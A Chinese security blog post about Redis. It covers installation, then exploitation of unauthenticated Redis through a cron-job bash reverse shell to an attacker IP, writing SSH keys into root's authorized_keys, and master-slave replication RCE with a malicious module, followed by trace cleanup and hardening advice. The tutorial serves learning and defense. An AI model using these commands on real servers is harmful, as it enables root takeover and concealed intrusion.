浅析redis安全


redis安装

Centos7安装

  • 安装gcc依赖

    yum install -y gcc下载解压安装包
    #下载
    wget http://download.redis.io/releases/redis-5.0.3.tar.gz
  • 解压

    tar -zxvf redis-5.0.3.tar.gz
  • 切换到redis解压目录下,进行编译

    cd redis-5.0.3
    #编译
    make
    #安装指定目录(安装完成后会在目录下面生成一个bin目录)
    make install PREFIX=/java/redis
  • 启动服务

    #前台启动
    cd /usr/local/redis/bin/
    ./redis-server
    
    #后台启动
    cp /usr/local/redis-5.0.3/redis.conf /usr/local/redis/bin/
    
    #修改 redis.conf 文件,把 daemonize no 改为 daemonize yes
    vi redis.conf
    ./redis-server redis.conf
    
    #设置开机启动
    [root@localhost bin]# vi /etc/systemd/system/redis.service
    #复制代码
    [Unit]
    Description=redis-server
    After=network.target
    [Service]
    Type=forking
    ExecStart=/usr/local/redis/bin/redis-server /usr/local/redis/bin/redis.conf
    PrivateTmp=true
    [Install]
    WantedBy=multi-user.target
    
    #设置开机启动
    systemctl daemon-reload
    systemctl start redis.service
    systemctl enable redis.service

计划任务反弹shell(redis未授权漏洞)

在配置文件中,注释掉仅本地登录,注释掉密码登录,保护关掉。

重启服务。kali下载redis-cli

尝试连接。

# 连接redis:
redis-cli -h xxx.xxx.xx.x -p xxxx  # IP和端口

# 查看redis版本信息、一些具体信息、服务器版本信息等等:
xxx.xxx.xx.x:xxxx>info

# 将变量x的值设为test:
xxx.xxx.xx.x:xxxx>set x "test"

# 获取设置的某个变量的值:
xxx.xxx.xx.x:xxxx>get x

# `flushall`是把整个redis数据库删除,一般情况下不要用!!!
xxx.xxx.xx.x:xxxx>flushall

# 查看所有键:
xxx.xxx.xx.x:xxxx>KEYS *

# 获取默认的redis目录、和rdb文件名:可以在修改前先获取,然后走的时候再恢复。
xxx.xxx.xx.x:xxxx>CONFIG GET dir
xxx.xxx.xx.x:xxxx>CONFIG GET dbfilename

远程登陆redis利用计划任务反弹shell。

# 先在自己的服务器上监听一个端口
nc -lvnp 7999
# 然后执行命令
redis-cli -h 192.168.1.108
# 连接redis,创建一个key x,值为反弹shell语句,修改备份目录为linux计划任务目录,修改备份文件名为 root,以root身体执行计划任务。
set  xx   "\n* * * * * /bin/bash -i >& /dev/tcp/xxx.xxx.xx.xxx/7999 0>&1\n
config set dir /var/spool/cron/  # /var/spool/cron/为计划任务目录
config set dbfilename root
save

但是反弹的shell无法执行ifconfig命令。默认的ifconfig是在/usr/bin/目录下,

解决方法:ln -s /usr/sbin/ifconfig /usr/bin/ifconfig。

CONFIG SET命令用于在服务器运行期间重写某些配置,而不用重启Redis。

可以通过CONFIG GET *获得CONFIG SET命令支持的配置参数列表,该命令是用于获取有关正在运行的Redis实例的配置信息的对称命令。

秘钥登录redis

如果Redis以root身份运行,可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

利用条件:

Redis服务使用ROOT账号启动

服务器开放了SSH服务,而且允许使用密钥登录,即可远程写入一个公钥,直接登录远程服务器

首先在本地生成一对密钥

ssh-keygen -t rsa

然后在redis执行命令

config set dir /root/.ssh/
config set dbfilename authorized_keys
set x'************************(秘钥内容)'
save

下次可以直接ssh登录

ssh -i id_rsa root@xxx.xxx.xx.xx

主从复制RCE

Redis主从复制

Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

用salveof可以设置。

Redis模块

在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

利用原理

我们可以直接生成恶意so文件。我们如何将恶意so文件传输到服务器中呢?这里就需要用到Redis的主从复制了。Redis的持久化会在服务器重启后把硬盘上的文件重新恢复到内存中。但是要保证硬盘文件不被删除,而主从复制则能解决这个问题,主redis的数据和从redis上的数据保持实时同步,当主redis写入数据是就会通过主从复制复制到其它从redis。

为了能让恶意so传输到目标服务器上,这里则必须采用全量复制。在进行全量复制之前,如果从服务器存在和主服务一样的变量,则其值会被覆盖,同时,如果存在主服务器不存在的变量,则会被删除。

#设置redis的备份路径为当前目录
config set dir ./
#设置备份文件名为exp.so,默认为dump.rdb
config set dbfilename exp.so
#设置主服务器IP和端口
slaveof xxx.xxx.xxx.xx 1234  
#加载恶意模块
module load ./exp.so
#执行系统命令
system.exec 'whoami'
system.rev 127.0.0.1 9999 

现场复原

CONFIG get *    # 获取所有的配置
CONFIG get dir   # 获取 快照文件 保存的 位置
CONFIG get dbfilename   # 获取 快照文件 的文件名
#切断主从,关闭复制功能
slaveof no one 
#恢复目录
config set dir /data
#通过dump.rdb文件恢复数据
config set dbfilename dump.rdb
#删除exp.so
system.exec 'rm ./exp.so'
#卸载system模块的加载
module unload system

安全设置

信任内网运行,尽量避免公网访问

Redis 自身只有一个密码控制访问,不能设置用户权限和 IP 限制。默认假设 Redis 运行在可以信任的网络环境中。

如果正常业务中 Redis 服务需要被其他服务器访问,可以通过 iptables 策略,仅允许指定的 IP 访问 Redis 服务。

iptables -A INPUT -s x.x.x.x -p tcp --dport 6379 -j ACCEPT

绑定 Redis 监听的网络接口

如果服务器有多个 IP,可限定 Redis server 监听的 IP;通过 Redis 配置项 bind,可同时绑定多个 IP。

禁止 root 用户启动 Redis

使用普通用户启动,安全性往往高很多;业务程序永远别用 root 用户运行。

以较低权限账号运行 Redis 服务,并禁用该账号的登录权限。以下操作创建了一个无 home 目录权限,且无法登录的普通账号。

避免使用熟知端口

开启 Redis 密码认证,并设置高复杂度密码

Redis 在 redis.conf 配置文件中,设置配置项requirepass,开启密码认证(当redis重启时密码依然有效)。

限制 Redis 文件目录访问权限

设置 Redis 的主目录权限为 700;如果 Redis 配置文件独立于 Redis 主目录,权限修改为 600,因为 Redis 密码明文存储在配置文件中。

chmod 700 /var/lib/redis
chmod 600 /etc/redis/redis.conf

入侵溯源

备份Redis上面的netstat -antp,检查连接端口。

网络连接排查,一般黑客获进入以后会获取反弹shell,那么我们应该排查对应反弹shell的所有可能命令行或者是可疑文件执行的反弹,因此我们应该着重排查。也有可能会执行一些敏感的命令,比如用wget下载一些东西,所以还要注意这种命令。

很多主从复制导致任意命令执行都是通过Redis的未授权访问漏洞导致了横向移动攻击方式的发生。


文章作者: 小小星仔
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 小小星仔 !
评论
  目录